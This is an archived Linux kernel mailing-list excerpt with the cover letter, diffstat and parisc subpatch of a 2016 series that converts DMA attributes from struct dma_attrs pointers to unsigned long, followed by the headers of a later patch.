Return-path: <linux-m68k-owner@vger.kernel.org>
Envelope-to: glpm-linux-m68k@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-m68k-owner@vger.kernel.org>)
	id 1bBJQG-0004MX-2Z
	for glpm-linux-m68k@plane.gmane.org; Fri, 10 Jun 2016 12:12:16 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752146AbcFJKMP (ORCPT <rfc822;glpm-linux-m68k@m.gmane.org>);
	Fri, 10 Jun 2016 06:12:15 -0400
Original-Received: from mailout1.w1.samsung.com ([210.118.77.11]:46995 "EHLO
	mailout1.w1.samsung.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750710AbcFJKMN (ORCPT
	<rfc822;linux-m68k@lists.linux-m68k.org>);
	Fri, 10 Jun 2016 06:12:13 -0400
Original-Received: from eucpsbgm2.samsung.com (unknown [203.254.199.245])
 by mailout1.w1.samsung.com
 (Oracle Communications Messaging Server 7.0.5.31.0 64bit (built May  5 2014))
 with ESMTP id <0O8J00BRQWCAN340@mailout1.w1.samsung.com> for
 linux-m68k@lists.linux-m68k.org; Fri, 10 Jun 2016 11:12:10 +0100 (BST)
X-AuditID: cbfec7f5-f792a6d000001302-40-575a9279a61e
Original-Received: from eusync4.samsung.com ( [203.254.199.214])
	by eucpsbgm2.samsung.com (EUCPMTA) with SMTP id 51.43.04866.9729A575; Fri,
 10 Jun 2016 11:12:09 +0100 (BST)
Original-Received: from AMDC2174.DIGITAL.local ([106.120.53.17])
 by eusync4.samsung.com (Oracle Communications Messaging Server 7.0.5.31.0
 64bit (built May  5 2014))
 with ESMTPA id <0O8J00MI3WC5KUB0@eusync4.samsung.com>; Fri,
 10 Jun 2016 11:12:09 +0100 (BST)
X-Mailer: git-send-email 1.9.1
X-Brightmail-Tracker: H4sIAAAAAAAAAzWRWyybcRjG/b9D+ynNvtTpi4ksXWSJxGl28Q47JGK+ZRdcTDqyZIpvCKVr
	S3CDYcSh6zBjStjqOGVrLTMRMswxDRsxGcaQkWgQYiQOm05293ve35M8Fy+Fi3oIZyo+ScUp
	kqSJYp6AGD8ZnvFIL42QeI81B4C2o40H7yo7SJje2+KBds2EYFzzCoO6Pn/YWPeBzYVBBIaV
	GRKe9Zn4MFitwaD5TTsO9U90BIyot0nYyu3iwXbBJglT3VoeNK3qcSh++/405nxB8Ot7PgGa
	56V8qNY9JWB5bBIDU+0wD371lxCws/QHB019Dg6VE70YaI/Kccib12PQYtLz4XD/hITHub6w
	r1aTkDXaTMJ+Zxl204391h7Kfny5wGeNze5sl2EDY0cqDwn2c4seY9c/fcDZxaJhjDXqMtmy
	2SbEjub9JtiJynrEDmxPE6y6sxWxuwbX0HMRgoAYLjE+lVN4XY8UxBlXhPK5sLTj5QoiCxVf
	LUTWFENfYWYNO/wzdmQmf3TwLCyiGxBzfOBciASnnI0xJdp50iJ4tC9jbNL9K9nTHkzrWjdu
	KeF0rTVTszSOWYQdfYsZyG5HhYiiCNqN6WmIsJyFdDDzdWAVnY25MqNDZaQG2dQhq1bkwKVE
	y5VRsbLLnkqpTJmSFOsZnSwzoLOf7nWhhiG/fkRTSGwrvNcdLhGR0lRluqwfMRQutheCOkIi
	EsZI0zM4RfIDRUoip+xH5ylC7CSs6t66K6JjpSougePknOK/xShr5ywkUvVexIIflevLK4IK
	JG2EyzUnL1uzqypt1+TorRqIaorPDHOZCxTzSyLvhzw8slmsChGkKakLpZHsnTqN 
Original-Sender: linux-m68k-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-m68k.vger.kernel.org>
X-Mailing-List: linux-m68k@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.m68k:8746 gmane.linux.documentation:38944 gmane.linux.kernel:2240642 gmane.linux.ports.alpha:3766 gmane.linux.kernel.arc:1202 gmane.linux.ports.arm.kernel:505873 gmane.linux.ports.hexagon:1029 gmane.linux.ports.ia64:26870 gmane.linux.kernel.metag:1107 gmane.linux.ports.mips.general:55173 gmane.linux.ports.parisc:26876 gmane.linux.ports.ppc64.devel:128422 gmane.linux.ports.sh.devel:54189 gmane.linux.ports.sparc:23061 gmane.linux.kernel.pci:52531 gmane.comp.video.dri.devel:156894 gmane.linux.kernel.samsung-soc:54684 gmane.linux.ports.arm.mediatek:5660 gmane.linux.ports.arm.msm:19462 gmane.comp.freedesktop.xorg.drivers.freedreno:140 gmane.comp.freedesktop.xorg.nouveau:25171 gmane.linux.ports.arm.rockchip:7314 gmane.linux.drivers.rdma:37697 gmane.linux.kernel.iommu:14098 gmane.linux.drivers.video-input-infrastructure:102759 gmane.linux.ports.arm.omap:136647
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.m68k/8746>

Hi,


This is fourth approach for replacing struct dma_attrs with unsigned
long.

The main patch (1/44) doing the change is split into many subpatches
for easier review (2-42).  They should be squashed together when
applying.


*Important:* Patchset is tested on my ARM platforms and *only* build
tested on allyesconfigs: ARM, ARM64, i386, x86_64 and powerpc.
Please kindly provide reviewes and tests for other platforms.

Rebased on next-20160607.

For easier testing the patchset is available here:
repo:   https://github.com/krzk/linux
branch: for-next/dma-attrs-const-v4


Changes since v3
================
1. Collect some acks.
2. Drop wrong patch 1/45 ("powerpc: dma-mapping: Don't hard-code
   the value of DMA_ATTR_WEAK_ORDERING").
3. Minor fix pointed out by Michael Ellerman.


Changes since v2
================
1. Follow Christoph Hellwig's comments (don't use BIT add
   documentation, remove dma_get_attr).


Rationale
=========
The dma-mapping core and the implementations do not change the
DMA attributes passed by pointer.  Thus the pointer can point to const
data.  However the attributes do not have to be a bitfield. Instead
unsigned long will do fine:

1. This is just simpler.  Both in terms of reading the code and setting
   attributes.  Instead of initializing local attributes on the stack
   and passing pointer to it to dma_set_attr(), just set the bits.

2. It brings safeness and checking for const correctness because the
   attributes are passed by value.


Best regards,
Krzysztof


Krzysztof Kozlowski (44):
  dma-mapping: Use unsigned long for dma_attrs
  alpha: dma-mapping: Use unsigned long for dma_attrs
  arc: dma-mapping: Use unsigned long for dma_attrs
  ARM: dma-mapping: Use unsigned long for dma_attrs
  arm64: dma-mapping: Use unsigned long for dma_attrs
  avr32: dma-mapping: Use unsigned long for dma_attrs
  blackfin: dma-mapping: Use unsigned long for dma_attrs
  c6x: dma-mapping: Use unsigned long for dma_attrs
  cris: dma-mapping: Use unsigned long for dma_attrs
  frv: dma-mapping: Use unsigned long for dma_attrs
  drm/exynos: dma-mapping: Use unsigned long for dma_attrs
  drm/mediatek: dma-mapping: Use unsigned long for dma_attrs
  drm/msm: dma-mapping: Use unsigned long for dma_attrs
  drm/nouveau: dma-mapping: Use unsigned long for dma_attrs
  drm/rockship: dma-mapping: Use unsigned long for dma_attrs
  infiniband: dma-mapping: Use unsigned long for dma_attrs
  iommu: dma-mapping: Use unsigned long for dma_attrs
  [media] dma-mapping: Use unsigned long for dma_attrs
  xen: dma-mapping: Use unsigned long for dma_attrs
  swiotlb: dma-mapping: Use unsigned long for dma_attrs
  powerpc: dma-mapping: Use unsigned long for dma_attrs
  video: dma-mapping: Use unsigned long for dma_attrs
  x86: dma-mapping: Use unsigned long for dma_attrs
  iommu: intel: dma-mapping: Use unsigned long for dma_attrs
  h8300: dma-mapping: Use unsigned long for dma_attrs
  hexagon: dma-mapping: Use unsigned long for dma_attrs
  ia64: dma-mapping: Use unsigned long for dma_attrs
  m68k: dma-mapping: Use unsigned long for dma_attrs
  metag: dma-mapping: Use unsigned long for dma_attrs
  microblaze: dma-mapping: Use unsigned long for dma_attrs
  mips: dma-mapping: Use unsigned long for dma_attrs
  mn10300: dma-mapping: Use unsigned long for dma_attrs
  nios2: dma-mapping: Use unsigned long for dma_attrs
  openrisc: dma-mapping: Use unsigned long for dma_attrs
  parisc: dma-mapping: Use unsigned long for dma_attrs
  misc: mic: dma-mapping: Use unsigned long for dma_attrs
  s390: dma-mapping: Use unsigned long for dma_attrs
  sh: dma-mapping: Use unsigned long for dma_attrs
  sparc: dma-mapping: Use unsigned long for dma_attrs
  tile: dma-mapping: Use unsigned long for dma_attrs
  unicore32: dma-mapping: Use unsigned long for dma_attrs
  xtensa: dma-mapping: Use unsigned long for dma_attrs
  dma-mapping: Remove dma_get_attr
  dma-mapping: Document the DMA attributes next to the declaration

 Documentation/DMA-API.txt                          |  33 +++---
 Documentation/DMA-attributes.txt                   |   2 +-
 arch/alpha/include/asm/dma-mapping.h               |   2 -
 arch/alpha/kernel/pci-noop.c                       |   2 +-
 arch/alpha/kernel/pci_iommu.c                      |  12 +-
 arch/arc/mm/dma.c                                  |  12 +-
 arch/arm/common/dmabounce.c                        |   4 +-
 arch/arm/include/asm/dma-mapping.h                 |  13 +--
 arch/arm/include/asm/xen/page-coherent.h           |  16 +--
 arch/arm/mm/dma-mapping.c                          | 121 ++++++++++---------
 arch/arm/xen/mm.c                                  |   8 +-
 arch/arm64/mm/dma-mapping.c                        |  67 +++++------
 arch/avr32/mm/dma-coherent.c                       |  12 +-
 arch/blackfin/kernel/dma-mapping.c                 |   8 +-
 arch/c6x/include/asm/dma-mapping.h                 |   4 +-
 arch/c6x/kernel/dma.c                              |   9 +-
 arch/c6x/mm/dma-coherent.c                         |   4 +-
 arch/cris/arch-v32/drivers/pci/dma.c               |   9 +-
 arch/frv/mb93090-mb00/pci-dma-nommu.c              |   8 +-
 arch/frv/mb93090-mb00/pci-dma.c                    |   9 +-
 arch/h8300/kernel/dma.c                            |   8 +-
 arch/hexagon/include/asm/dma-mapping.h             |   1 -
 arch/hexagon/kernel/dma.c                          |   8 +-
 arch/ia64/hp/common/sba_iommu.c                    |  22 ++--
 arch/ia64/include/asm/machvec.h                    |   1 -
 arch/ia64/kernel/pci-swiotlb.c                     |   4 +-
 arch/ia64/sn/pci/pci_dma.c                         |  22 ++--
 arch/m68k/kernel/dma.c                             |  12 +-
 arch/metag/kernel/dma.c                            |  16 +--
 arch/microblaze/include/asm/dma-mapping.h          |   1 -
 arch/microblaze/kernel/dma.c                       |  12 +-
 arch/mips/cavium-octeon/dma-octeon.c               |   8 +-
 arch/mips/loongson64/common/dma-swiotlb.c          |  10 +-
 arch/mips/mm/dma-default.c                         |  20 ++--
 arch/mips/netlogic/common/nlm-dma.c                |   4 +-
 arch/mn10300/mm/dma-alloc.c                        |   8 +-
 arch/nios2/mm/dma-mapping.c                        |  12 +-
 arch/openrisc/kernel/dma.c                         |  21 ++--
 arch/parisc/kernel/pci-dma.c                       |  18 +--
 arch/powerpc/include/asm/dma-mapping.h             |   7 +-
 arch/powerpc/include/asm/iommu.h                   |  10 +-
 arch/powerpc/kernel/dma-iommu.c                    |  12 +-
 arch/powerpc/kernel/dma.c                          |  18 +--
 arch/powerpc/kernel/ibmebus.c                      |  12 +-
 arch/powerpc/kernel/iommu.c                        |  12 +-
 arch/powerpc/kernel/vio.c                          |  12 +-
 arch/powerpc/platforms/cell/iommu.c                |  28 ++---
 arch/powerpc/platforms/pasemi/iommu.c              |   2 +-
 arch/powerpc/platforms/powernv/npu-dma.c           |   8 +-
 arch/powerpc/platforms/powernv/pci-ioda.c          |   4 +-
 arch/powerpc/platforms/powernv/pci.c               |   2 +-
 arch/powerpc/platforms/powernv/pci.h               |   2 +-
 arch/powerpc/platforms/ps3/system-bus.c            |  18 +--
 arch/powerpc/platforms/pseries/iommu.c             |   6 +-
 arch/powerpc/sysdev/dart_iommu.c                   |   2 +-
 arch/s390/include/asm/dma-mapping.h                |   1 -
 arch/s390/pci/pci_dma.c                            |  23 ++--
 arch/sh/include/asm/dma-mapping.h                  |   4 +-
 arch/sh/kernel/dma-nommu.c                         |   4 +-
 arch/sh/mm/consistent.c                            |   4 +-
 arch/sparc/kernel/iommu.c                          |  12 +-
 arch/sparc/kernel/ioport.c                         |  24 ++--
 arch/sparc/kernel/pci_sun4v.c                      |  12 +-
 arch/tile/kernel/pci-dma.c                         |  28 ++---
 arch/unicore32/mm/dma-swiotlb.c                    |   4 +-
 arch/x86/include/asm/dma-mapping.h                 |   5 +-
 arch/x86/include/asm/swiotlb.h                     |   4 +-
 arch/x86/include/asm/xen/page-coherent.h           |   9 +-
 arch/x86/kernel/amd_gart_64.c                      |  20 ++--
 arch/x86/kernel/pci-calgary_64.c                   |  14 +--
 arch/x86/kernel/pci-dma.c                          |   4 +-
 arch/x86/kernel/pci-nommu.c                        |   4 +-
 arch/x86/kernel/pci-swiotlb.c                      |   4 +-
 arch/x86/pci/sta2x11-fixup.c                       |   2 +-
 arch/x86/pci/vmd.c                                 |  16 +--
 arch/xtensa/kernel/pci-dma.c                       |  12 +-
 drivers/gpu/drm/exynos/exynos_drm_fbdev.c          |   2 +-
 drivers/gpu/drm/exynos/exynos_drm_g2d.c            |  12 +-
 drivers/gpu/drm/exynos/exynos_drm_gem.c            |  20 ++--
 drivers/gpu/drm/exynos/exynos_drm_gem.h            |   2 +-
 drivers/gpu/drm/mediatek/mtk_drm_gem.c             |  13 +--
 drivers/gpu/drm/mediatek/mtk_drm_gem.h             |   2 +-
 drivers/gpu/drm/msm/msm_drv.c                      |  13 +--
 .../gpu/drm/nouveau/nvkm/subdev/instmem/gk20a.c    |  13 +--
 drivers/gpu/drm/rockchip/rockchip_drm_gem.c        |  17 ++-
 drivers/gpu/drm/rockchip/rockchip_drm_gem.h        |   2 +-
 drivers/infiniband/core/umem.c                     |   7 +-
 drivers/iommu/amd_iommu.c                          |  12 +-
 drivers/iommu/dma-iommu.c                          |   8 +-
 drivers/iommu/intel-iommu.c                        |  12 +-
 drivers/media/platform/sti/bdisp/bdisp-hw.c        |  26 ++---
 drivers/media/v4l2-core/videobuf2-dma-contig.c     |  30 ++---
 drivers/media/v4l2-core/videobuf2-dma-sg.c         |  19 +--
 drivers/misc/mic/host/mic_boot.c                   |  20 ++--
 drivers/parisc/ccio-dma.c                          |  16 +--
 drivers/parisc/sba_iommu.c                         |  16 +--
 drivers/video/fbdev/omap2/omapfb/omapfb-main.c     |  12 +-
 drivers/video/fbdev/omap2/omapfb/omapfb.h          |   3 +-
 drivers/xen/swiotlb-xen.c                          |  14 +--
 include/linux/dma-attrs.h                          |  72 ------------
 include/linux/dma-iommu.h                          |   6 +-
 include/linux/dma-mapping.h                        | 128 ++++++++++++++-------
 include/linux/swiotlb.h                            |  10 +-
 include/media/videobuf2-dma-contig.h               |   7 +-
 include/rdma/ib_verbs.h                            |   8 +-
 include/xen/swiotlb-xen.h                          |  12 +-
 lib/dma-noop.c                                     |   9 +-
 lib/swiotlb.c                                      |  13 ++-
 108 files changed, 691 insertions(+), 793 deletions(-)
 delete mode 100644 include/linux/dma-attrs.h

-- 
1.9.1


From - Thu Nov 08 21:39:01 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Krzysztof Kozlowski <k.kozlowski@samsung.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [PATCH v4 35/44] parisc: dma-mapping: Use unsigned long for dma_attrs
Date: Fri, 10 Jun 2016 12:11:52 +0200
Lines: 230
Approved: news@gmane.org
Message-ID: <1465553521-27303-36-git-send-email-k.kozlowski@samsung.com>
References: <1465553521-27303-1-git-send-email-k.kozlowski@samsung.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1465553684 18733 80.91.229.3 (10 Jun 2016 10:14:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 10 Jun 2016 10:14:44 +0000 (UTC)
Cc: hch@infradead.org, Krzysztof Kozlowski <k.kozlowski@samsung.com>,
	Bartlomiej Zolnierkiewicz <b.zolnierkie@samsung.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Hans-Christian Noren Egtvedt <egtvedt@samfundet.no>,
	Akinobu Mita <akinobu.mita@gmail.com>,
	linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org
To: Andrew Morton <akpm@linux-foundation.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Jun 10 12:14:31 2016
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1bBJSQ-0006oT-JM
	for glk-linux-kernel-3@plane.gmane.org; Fri, 10 Jun 2016 12:14:30 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1161184AbcFJKOA (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Fri, 10 Jun 2016 06:14:00 -0400
Original-Received: from mailout1.w1.samsung.com ([210.118.77.11]:47160 "EHLO
	mailout1.w1.samsung.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1161154AbcFJKN4 (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Fri, 10 Jun 2016 06:13:56 -0400
Original-Received: from eucpsbgm2.samsung.com (unknown [203.254.199.245])
 by mailout1.w1.samsung.com
 (Oracle Communications Messaging Server 7.0.5.31.0 64bit (built May  5 2014))
 with ESMTP id <0O8J00BT9WF6W540@mailout1.w1.samsung.com>; Fri,
 10 Jun 2016 11:13:54 +0100 (BST)
X-AuditID: cbfec7f5-f792a6d000001302-e3-575a92e2e93b
Original-Received: from eusync4.samsung.com ( [203.254.199.214])
	by eucpsbgm2.samsung.com (EUCPMTA) with SMTP id 91.A3.04866.2E29A575; Fri,
 10 Jun 2016 11:13:54 +0100 (BST)
Original-Received: from AMDC2174.DIGITAL.local ([106.120.53.17])
 by eusync4.samsung.com (Oracle Communications Messaging Server 7.0.5.31.0
 64bit (built May  5 2014))
 with ESMTPA id <0O8J00MI3WC5KUB0@eusync4.samsung.com>; Fri,
 10 Jun 2016 11:13:54 +0100 (BST)
X-Mailer: git-send-email 1.9.1
In-reply-to: <1465553521-27303-1-git-send-email-k.kozlowski@samsung.com>
X-Brightmail-Tracker: H4sIAAAAAAAAA+NgFlrDLMWRmVeSWpSXmKPExsVy+t/xa7qPJkWFG1xeyGXx6kAHo8Wc9WvY
	LDbOWM9qcf/TbUaL7nWP2C1OT1jEZHF/3SpWi9cvDC0u75rDZvHo1AUmBy6PnbPusnt8+Bjn
	sXmFlseJGb9ZPC4s+s3qsejUZ3aPvi2rGD0+b5IL4IjisklJzcksSy3St0vgytg1J6zgpHPF
	h5e7mRoYN5t3MXJwSAiYSOy+zN7FyAlkiklcuLeerYuRi0NIYCmjROelLkYIp5FJYvq6bawg
	VWwCxhKbly9hA7FFBHQlVj3fxQxiMwu8YpJYtEYDZKiwgJ/E5mm+IGEWAVWJ2Y0XwRbwCnhI
	fJ5xnw1imZzEyWOTwUZyAsW7785kAbGFBNwltj95xTSBkXcBI8MqRtHU0uSC4qT0XCO94sTc
	4tK8dL3k/NxNjJAw/LqDcekxq0OMAhyMSjy8Ebsiw4VYE8uKK3MPMUpwMCuJ8Fr0RYUL8aYk
	VlalFuXHF5XmpBYfYpTmYFES5525632IkEB6YklqdmpqQWoRTJaJg1OqgVFahf1Iw86tOm4H
	xJfqrG/Zn/LNbLWhoMmBbxPPax0Xt/LY77OoiPv2Y6v17EG3pDkZjnpqf7Nzert236W8RZ4C
	j5I7z5y+s977WnKDra+HEwtLycb5C+qiBOafl6yW2xa+qsh05r/M5z93eX5bs7uYaatu3WaN
	/QlhO3/k/U+Wk0pf/b/WkV+JpTgj0VCLuag4EQDJnT43PwIAAA==
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2240666 gmane.linux.ports.parisc:26877
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2240666>

Split out subsystem specific changes for easier reviews. This will be
squashed with main commit.

Signed-off-by: Krzysztof Kozlowski <k.kozlowski@samsung.com>
---
 arch/parisc/kernel/pci-dma.c | 16 ++++++++--------
 drivers/parisc/ccio-dma.c    | 16 ++++++++--------
 drivers/parisc/sba_iommu.c   | 16 ++++++++--------
 3 files changed, 24 insertions(+), 24 deletions(-)

diff --git a/arch/parisc/kernel/pci-dma.c b/arch/parisc/kernel/pci-dma.c
index a27e4928bf73..845fdd52e4c5 100644
--- a/arch/parisc/kernel/pci-dma.c
+++ b/arch/parisc/kernel/pci-dma.c
@@ -414,7 +414,7 @@ pcxl_dma_init(void)
 __initcall(pcxl_dma_init);
 
 static void *pa11_dma_alloc(struct device *dev, size_t size,
-		dma_addr_t *dma_handle, gfp_t flag, struct dma_attrs *attrs)
+		dma_addr_t *dma_handle, gfp_t flag, unsigned long attrs)
 {
 	unsigned long vaddr;
 	unsigned long paddr;
@@ -441,7 +441,7 @@ static void *pa11_dma_alloc(struct device *dev, size_t size,
 }
 
 static void pa11_dma_free(struct device *dev, size_t size, void *vaddr,
-		dma_addr_t dma_handle, struct dma_attrs *attrs)
+		dma_addr_t dma_handle, unsigned long attrs)
 {
 	int order;
 
@@ -454,7 +454,7 @@ static void pa11_dma_free(struct device *dev, size_t size, void *vaddr,
 
 static dma_addr_t pa11_dma_map_page(struct device *dev, struct page *page,
 		unsigned long offset, size_t size,
-		enum dma_data_direction direction, struct dma_attrs *attrs)
+		enum dma_data_direction direction, unsigned long attrs)
 {
 	void *addr = page_address(page) + offset;
 	BUG_ON(direction == DMA_NONE);
@@ -465,7 +465,7 @@ static dma_addr_t pa11_dma_map_page(struct device *dev, struct page *page,
 
 static void pa11_dma_unmap_page(struct device *dev, dma_addr_t dma_handle,
 		size_t size, enum dma_data_direction direction,
-		struct dma_attrs *attrs)
+		unsigned long attrs)
 {
 	BUG_ON(direction == DMA_NONE);
 
@@ -484,7 +484,7 @@ static void pa11_dma_unmap_page(struct device *dev, dma_addr_t dma_handle,
 
 static int pa11_dma_map_sg(struct device *dev, struct scatterlist *sglist,
 		int nents, enum dma_data_direction direction,
-		struct dma_attrs *attrs)
+		unsigned long attrs)
 {
 	int i;
 	struct scatterlist *sg;
@@ -503,7 +503,7 @@ static int pa11_dma_map_sg(struct device *dev, struct scatterlist *sglist,
 
 static void pa11_dma_unmap_sg(struct device *dev, struct scatterlist *sglist,
 		int nents, enum dma_data_direction direction,
-		struct dma_attrs *attrs)
+		unsigned long attrs)
 {
 	int i;
 	struct scatterlist *sg;
@@ -577,7 +577,7 @@ struct dma_map_ops pcxl_dma_ops = {
 };
 
 static void *pcx_dma_alloc(struct device *dev, size_t size,
-		dma_addr_t *dma_handle, gfp_t flag, struct dma_attrs *attrs)
+		dma_addr_t *dma_handle, gfp_t flag, unsigned long attrs)
 {
 	void *addr;
 
@@ -592,7 +592,7 @@ static void *pcx_dma_alloc(struct device *dev, size_t size,
 }
 
 static void pcx_dma_free(struct device *dev, size_t size, void *vaddr,
-		dma_addr_t iova, struct dma_attrs *attrs)
+		dma_addr_t iova, unsigned long attrs)
 {
 	free_pages((unsigned long)vaddr, get_order(size));
 	return;
diff --git a/drivers/parisc/ccio-dma.c b/drivers/parisc/ccio-dma.c
index e24b05996a1b..3ed6238f8f6e 100644
--- a/drivers/parisc/ccio-dma.c
+++ b/drivers/parisc/ccio-dma.c
@@ -790,7 +790,7 @@ ccio_map_single(struct device *dev, void *addr, size_t size,
 static dma_addr_t
 ccio_map_page(struct device *dev, struct page *page, unsigned long offset,
 		size_t size, enum dma_data_direction direction,
-		struct dma_attrs *attrs)
+		unsigned long attrs)
 {
 	return ccio_map_single(dev, page_address(page) + offset, size,
 			direction);
@@ -806,7 +806,7 @@ ccio_map_page(struct device *dev, struct page *page, unsigned long offset,
  */
 static void 
 ccio_unmap_page(struct device *dev, dma_addr_t iova, size_t size,
-		enum dma_data_direction direction, struct dma_attrs *attrs)
+		enum dma_data_direction direction, unsigned long attrs)
 {
 	struct ioc *ioc;
 	unsigned long flags; 
@@ -844,7 +844,7 @@ ccio_unmap_page(struct device *dev, dma_addr_t iova, size_t size,
  */
 static void * 
 ccio_alloc(struct device *dev, size_t size, dma_addr_t *dma_handle, gfp_t flag,
-		struct dma_attrs *attrs)
+		unsigned long attrs)
 {
       void *ret;
 #if 0
@@ -878,9 +878,9 @@ ccio_alloc(struct device *dev, size_t size, dma_addr_t *dma_handle, gfp_t flag,
  */
 static void 
 ccio_free(struct device *dev, size_t size, void *cpu_addr,
-		dma_addr_t dma_handle, struct dma_attrs *attrs)
+		dma_addr_t dma_handle, unsigned long attrs)
 {
-	ccio_unmap_page(dev, dma_handle, size, 0, NULL);
+	ccio_unmap_page(dev, dma_handle, size, 0, 0);
 	free_pages((unsigned long)cpu_addr, get_order(size));
 }
 
@@ -907,7 +907,7 @@ ccio_free(struct device *dev, size_t size, void *cpu_addr,
  */
 static int
 ccio_map_sg(struct device *dev, struct scatterlist *sglist, int nents, 
-	    enum dma_data_direction direction, struct dma_attrs *attrs)
+	    enum dma_data_direction direction, unsigned long attrs)
 {
 	struct ioc *ioc;
 	int coalesced, filled = 0;
@@ -984,7 +984,7 @@ ccio_map_sg(struct device *dev, struct scatterlist *sglist, int nents,
  */
 static void 
 ccio_unmap_sg(struct device *dev, struct scatterlist *sglist, int nents, 
-	      enum dma_data_direction direction, struct dma_attrs *attrs)
+	      enum dma_data_direction direction, unsigned long attrs)
 {
 	struct ioc *ioc;
 
@@ -1004,7 +1004,7 @@ ccio_unmap_sg(struct device *dev, struct scatterlist *sglist, int nents,
 		ioc->usg_pages += sg_dma_len(sglist) >> PAGE_SHIFT;
 #endif
 		ccio_unmap_page(dev, sg_dma_address(sglist),
-				  sg_dma_len(sglist), direction, NULL);
+				  sg_dma_len(sglist), direction, 0);
 		++sglist;
 	}
 
diff --git a/drivers/parisc/sba_iommu.c b/drivers/parisc/sba_iommu.c
index 42ec4600b7e4..151b86b6d2e2 100644
--- a/drivers/parisc/sba_iommu.c
+++ b/drivers/parisc/sba_iommu.c
@@ -783,7 +783,7 @@ sba_map_single(struct device *dev, void *addr, size_t size,
 static dma_addr_t
 sba_map_page(struct device *dev, struct page *page, unsigned long offset,
 		size_t size, enum dma_data_direction direction,
-		struct dma_attrs *attrs)
+		unsigned long attrs)
 {
 	return sba_map_single(dev, page_address(page) + offset, size,
 			direction);
@@ -801,7 +801,7 @@ sba_map_page(struct device *dev, struct page *page, unsigned long offset,
  */
 static void
 sba_unmap_page(struct device *dev, dma_addr_t iova, size_t size,
-		enum dma_data_direction direction, struct dma_attrs *attrs)
+		enum dma_data_direction direction, unsigned long attrs)
 {
 	struct ioc *ioc;
 #if DELAYED_RESOURCE_CNT > 0
@@ -876,7 +876,7 @@ sba_unmap_page(struct device *dev, dma_addr_t iova, size_t size,
  * See Documentation/DMA-API-HOWTO.txt
  */
 static void *sba_alloc(struct device *hwdev, size_t size, dma_addr_t *dma_handle,
-		gfp_t gfp, struct dma_attrs *attrs)
+		gfp_t gfp, unsigned long attrs)
 {
 	void *ret;
 
@@ -908,9 +908,9 @@ static void *sba_alloc(struct device *hwdev, size_t size, dma_addr_t *dma_handle
  */
 static void
 sba_free(struct device *hwdev, size_t size, void *vaddr,
-		    dma_addr_t dma_handle, struct dma_attrs *attrs)
+		    dma_addr_t dma_handle, unsigned long attrs)
 {
-	sba_unmap_page(hwdev, dma_handle, size, 0, NULL);
+	sba_unmap_page(hwdev, dma_handle, size, 0, 0);
 	free_pages((unsigned long) vaddr, get_order(size));
 }
 
@@ -943,7 +943,7 @@ int dump_run_sg = 0;
  */
 static int
 sba_map_sg(struct device *dev, struct scatterlist *sglist, int nents,
-	   enum dma_data_direction direction, struct dma_attrs *attrs)
+	   enum dma_data_direction direction, unsigned long attrs)
 {
 	struct ioc *ioc;
 	int coalesced, filled = 0;
@@ -1026,7 +1026,7 @@ sba_map_sg(struct device *dev, struct scatterlist *sglist, int nents,
  */
 static void 
 sba_unmap_sg(struct device *dev, struct scatterlist *sglist, int nents,
-	     enum dma_data_direction direction, struct dma_attrs *attrs)
+	     enum dma_data_direction direction, unsigned long attrs)
 {
 	struct ioc *ioc;
 #ifdef ASSERT_PDIR_SANITY
@@ -1051,7 +1051,7 @@ sba_unmap_sg(struct device *dev, struct scatterlist *sglist, int nents,
 	while (sg_dma_len(sglist) && nents--) {
 
 		sba_unmap_page(dev, sg_dma_address(sglist), sg_dma_len(sglist),
-				direction, NULL);
+				direction, 0);
 #ifdef SBA_COLLECT_STATS
 		ioc->usg_pages += ((sg_dma_address(sglist) & ~IOVP_MASK) + sg_dma_len(sglist) + IOVP_SIZE - 1) >> PAGE_SHIFT;
 		ioc->usingle_calls--;	/* kluge since call is unmap_sg() */
-- 
1.9.1



From - Thu Nov 08 21:39:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Krzysztof Kozlowski <k.kozlowski-Sze3O3UU22JBDgjK7y7TUQ@public.gmane.org>
Newsgroups: gmane.linux.kernel.iommu,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.documentation,gmane.comp.video.dri.devel,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.drivers.video-input-infrastructure,gmane.linux.ports.arm.rockchip,gmane.linux.kernel.metag,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.ppc64.devel
Subject: [PATCH v4 43/44] dma-mapping: Remove dma_get_attr
Date: Fri, 10 Jun 2016 12:12:00 +0200
Lines: 539
Approved: news@gmane.org
Message-ID: <1465553521-27303-44-git-send-email-k.kozlowski@samsung.com>
References: <1465553521-27303-1-git-send-email-k.kozlowski@samsung.com>
